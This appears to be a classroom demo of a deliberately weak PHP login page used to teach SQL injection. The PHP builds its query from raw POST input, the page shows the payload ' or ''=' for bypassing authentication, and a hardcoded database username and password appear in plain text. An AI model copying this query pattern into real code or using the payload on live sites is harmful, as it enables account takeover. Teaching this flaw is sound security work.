Weak PHP Login (SQL Injection)

Login2.html

Test it with SQL injection to hack the login
https://mdad.000webhostapp.com/Login2.html

http://securityidiots.com/Web-Pentest/SQL-Injection/bypass-login-using-sql-injection.html


Test it on Login1.html
https://mdad.000webhostapp.com/Login1.html



<title> Login2 </title>



<form action ="Login2.php" method="post">
 
  <table>

  <tr>
    <td><label><b>Username</b></label></td>
     <td><input type="text" placeholder="Enter Username" name="name" required></td>
  </tr>
   <tr>
    <td><label><b>Password</b></label></td>
    <td><input type="password" placeholder="Enter Password" name="email" required></td>
  </tr>
       <tr><td></td><td><button type="submit">Login</button> </td> </tr>
   
  </table>

 
</form>


<pre>
    
    SQL Injection
    
 Logging in with following details:



Username : ' or ''='
Password : ' or ''='
    
select * from Example where name ='' or ''='' AND email ='' or ''=''success

    
</pre>

Login2.php 

<?php

$name = $_POST['name'];
$email = $_POST['email'];

$login = "false";

$conn=mysqli_connect("localhost","id4388354_mdaduser","mdad2301","id4388354_mdad");


$sql ="select * from  Example where name  ='$name' AND email ='$email'";

//SELECT * FROM `Example` WHERE Name ="" or ""="" AND email ="" or ""=""

//echo $sql;

$result = $conn->query($sql);
if ($result->num_rows > 0)
{
    
     if($row = $result->fetch_assoc()) {
  
     $login = "success";
     }
  
}
 
$conn->close();

echo ($login );

//https://mdad.000webhostapp.com/
//https://mdad18.000webhostapp.com/

?>

http://php.net/manual/en/images/fa7c5b5f326e3c4a6cc9db19e7edbaf0-xkcd-bobby-tables.png




at